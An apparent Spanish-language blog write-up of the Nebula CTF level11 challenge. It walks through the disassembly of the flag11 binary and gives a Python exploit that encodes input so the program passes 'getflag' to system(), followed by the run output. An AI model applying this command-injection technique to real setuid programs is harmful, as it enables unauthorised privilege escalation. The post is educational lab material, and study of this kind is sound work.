Pages

sábado, 21 de julio de 2018

Nebula CTF - level11 - 2ª parte

Segundo asalto para el binario ./flag11. Si el entero introducido junto con la cabecera Content-Length es superior o igual a 1024, alcanzamos el siguiente fragmento de código:

|      |    0x08048b54      mov eax, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|      |    0x08048b58      mov dword [local_38h], eax
|      |    0x08048b5c      lea eax, [local_34h]                       ; 0x34 ; '4' ; 52
|      |    0x08048b60      mov dword [esp], eax
|      |    0x08048b63      call sym.getrand

Se produce una llamada a la función local getrand(), no mostraré aquí el desensamblado completo, solo las llamadas de sistema que esta realiza:

sym.getrand (char **path);
0x08048824      call sym.imp.time         ; time_t time(time_t *timer)
0x0804882c      call sym.imp.srandom
0x08048831      mov dword [esp], str.TEMP ; [0x8048d80:4]=0x504d4554 ; "TEMP" ; const char *name
0x08048838      call sym.imp.getenv       ; char *getenv(const char *name)
0x08048840      call sym.imp.getpid       ; int getpid(void)
0x080488a2      call sym.imp.random
"%s/%d.%c%c%c%c%c%c"
0x0804898a      call sym.imp.asprintf
0x080489a7      call sym.imp.open         ; int open(const char *path, int oflag)
0x080489b7      call sym.imp.unlink       ; int unlink(const char *path)

Es una versión muy reducida, pero se intuye perfectamente su cometido y podemos hacer un pseudocódigo superficial:

getrand(**path)
{
    time()
    srandom()
    getenv("TEMP")
    [llamadas a random() y operaciones que producen 6 bytes aleatorios]
    asprintf(path, "%s/%d.%c%c%c%c%c%c")
    open()
    unlink()
}

La secuencia open() - unlink(), es una forma muy habitual de crear un archivo temporal que desaparece cuando la aplicación finaliza. Ahora comienza un bucle importante:

|      |    0x08048b68      mov dword [fd], eax
|      |,=< 0x08048b6c      jmp 0x8048c1d
|      ||   ; CODE XREF from main (0x8048c22)
|     .---> 0x08048b71      mov eax, str.blue____d__length____d        ; 0x8048dd8 ; "blue = %d, length = %d, "
|     :||   0x08048b76      mov edx, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|     :||   0x08048b7a      mov dword [nbytes], edx
|     :||   0x08048b7e      mov edx, dword [local_38h]                 ; [0x38:4]=-1 ; '8' ; 56
|     :||   0x08048b82      mov dword [size], edx
|     :||   0x08048b86      mov dword [esp], eax                       ; const char *format
|     :||   0x08048b89      call sym.imp.printf                        ; int printf(const char *format)

Primero se llama a:

printf("blue = %d, length = %d, ", local_38_h, length);

Donde blue representa los bytes que todavía quedan por leer y length el entero indicado en la cabecera Content-Length.

|     :||   0x08048b8e      mov eax, dword [sym.stdin]                 ; obj.stdin ; [0x804a068:4]=0
|     :||   0x08048b93      mov edx, eax
|     :||   0x08048b95      lea eax, [ptr]                             ; 0x4c ; 'L' ; 76
|     :||   0x08048b99      mov dword [local_ch], edx                  ; FILE *stream
|     :||   0x08048b9d      mov dword [nbytes], 0x400                  ; [0x400:4]=-1 ; 1024 ; size_t nmemb
|     :||   0x08048ba5      mov dword [size], 1                        ; size_t size
|     :||   0x08048bad      mov dword [esp], eax                       ; void *ptr
|     :||   0x08048bb0      call sym.imp.fread                         ; size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stream)
|     :||   0x08048bb5      mov dword [local_44h], eax
|     :||   0x08048bb9      mov eax, str.pink____d                     ; 0x8048df1 ; "pink = %d\n"
|     :||   0x08048bbe      mov edx, dword [local_44h]                 ; [0x44:4]=-1 ; 'D' ; 68
|     :||   0x08048bc2      mov dword [size], edx
|     :||   0x08048bc6      mov dword [esp], eax                       ; const char *format
|     :||   0x08048bc9      call sym.imp.printf                        ; int printf(const char *format)

fread() intenta leer 1024 bytes desde stdin e imprime el resultado en:

printf("pink = %d\n", fread_ret);

A continuación se realiza un chequeo de errores, y si todo va bien, se efectúa una llamada a write():

|     :||   0x08048bce      cmp dword [local_44h], 0
|    ,====< 0x08048bd3      jg 0x8048bf9
|    |:||   0x08048bd5      mov eax, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|    |:||   0x08048bd9      mov dword [local_ch], eax
|    |:||   0x08048bdd      mov eax, dword [local_38h]                 ; [0x38:4]=-1 ; '8' ; 56
|    |:||   0x08048be1      mov dword [nbytes], eax
|    |:||   0x08048be5      mov dword [size], str.fread_fail_blue____d__length____d ; [0x8048dfc:4]=0x61657266 ; "fread fail(blue = %d, length = %d)"
|    |:||   0x08048bed      mov dword [esp], 1
|    |:||   0x08048bf4      call sym.imp.err
|    |:||   ; CODE XREF from main (0x8048bd3)
|    `----> 0x08048bf9      mov eax, dword [local_44h]                 ; [0x44:4]=-1 ; 'D' ; 68
|     :||   0x08048bfd      mov dword [nbytes], eax                    ; size_t nbytes
|     :||   0x08048c01      lea eax, [ptr]                             ; 0x4c ; 'L' ; 76
|     :||   0x08048c05      mov dword [size], eax                      ; void *ptr
|     :||   0x08048c09      mov eax, dword [fd]                        ; [0x40:4]=-1 ; '@' ; 64
|     :||   0x08048c0d      mov dword [esp], eax                       ; int fd
|     :||   0x08048c10      call sym.imp.write                         ; ssize_t write(int fd, void *ptr, size_t nbytes)

write() se invoca sobre el fichero temporal creado por getrand(), y en él se escriben todos los datos leídos previamente por fread(). Sigamos:

|     :||   0x08048c15      mov eax, dword [local_44h]                 ; [0x44:4]=-1 ; 'D' ; 68
|     :||   0x08048c19      sub dword [local_38h], eax
|     :||   ; CODE XREF from main (0x8048b6c)
|     :|`-> 0x08048c1d      cmp dword [local_38h], 0
|     `===< 0x08048c22      jg 0x8048b71

El bucle se repite hasta que no quedan más bytes por leer. Finalmente:

|      |    0x08048c28      mov eax, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|      |    0x08048c2c      mov dword [local_14h], 0
|      |    0x08048c34      mov edx, dword [fd]                        ; [0x40:4]=-1 ; '@' ; 64
|      |    0x08048c38      mov dword [local_10h], edx
|      |    0x08048c3c      mov dword [local_ch], 2
|      |    0x08048c44      mov dword [nbytes], 3
|      |    0x08048c4c      mov dword [size], eax
|      |    0x08048c50      mov dword [esp], 0
|      |    0x08048c57      call sym.imp.mmap
|      |    0x08048c5c      mov dword [local_48h], eax
|      |    0x08048c60      cmp dword [local_48h], 0xffffffffffffffff
|      |,=< 0x08048c65      jne 0x8048c7b
|      ||   0x08048c67      mov dword [size], str.mmap                 ; [0x8048e1f:4]=0x70616d6d ; "mmap"
|      ||   0x08048c6f      mov dword [esp], 1
|      ||   0x08048c76      call sym.imp.err
|      ||   ; CODE XREF from main (0x8048c65)
|      |`-> 0x08048c7b      mov eax, dword [local_3ch]                 ; [0x3c:4]=-1 ; '<' ; 60
|      |    0x08048c7f      mov dword [size], eax
|      |    0x08048c83      mov eax, dword [local_48h]                 ; [0x48:4]=-1 ; 'H' ; 72
|      |    0x08048c87      mov dword [esp], eax
|      |    0x08048c8a      call sym.process

Se llama a mmap() para mapear el archivo temporal recientemente creado en memoria. El puntero devuelto, junto con la longitud proporcionada por el usuario en la cabecera, se pasan a process(), que realizará el algoritmo de cifrado e invocará a system() con el resultado. Un pseudocódigo podría ser el siguiente:

fd = getrand(&path);

rest = length;

while (rest > 0)
    printf("blue = %d, length = %d, ", rest, length);
    readed = fread(ptr, 1, 1024, stdin);
    printf("pink = %d\n", readed);
    if (readed <= 0)
     err("fail");
    write(fd, ptr, readed);
    rest -= readed;
}

addr = (char *)mmap(NULL, length, 0x03, 0x02, fd, 0);
process(addr, length);

No hay nada misterioso en todo el análisis, se lee de la entrada estándar tantos bytes como los indicados en el header Content-Length, se mapean en memoria, se cifran y se pasa el resultado a system(). Podemos hacer un script en Python que emule a process() y utilizar el resultado como entrada para ./flag11:

def process(string, length):
        res = ""
        key = length & 0xff

        for i in range(len(string)):
                res += chr((ord(string[i]) ^ key) & 0xff)
                key -= ord(string[i]) & 0xff

        return res

def exploit():
        header = "Content-Length: "
        length = 1024
        cmd    = "getflag\x00"
        cmd   += "A" * (length - len(cmd))

        print(header + str(length) + "\n" + process(cmd, length))

if __name__ == "__main__":
        exploit()

El resultado:

level11@nebula:/home/flag11$ python /tmp/l11_exploit.py | ./flag11
blue = 1024, length = 1024, pink = 1024
getflag is executing on a non-flag account, this doesn't count

Pwned!

Nota: En la primera parte de este reto explicamos por qué getflag no se ejecuta con los permisos del usuario flag11.

No hay comentarios:

Publicar un comentario

Protostar CTF - stack5

En ./stack5 continuamos con la dinámica de los dos últimos retos: dpc@kernelinside:~/protostar/bin$ ./stack5 test dpc@kernelinside:~/p...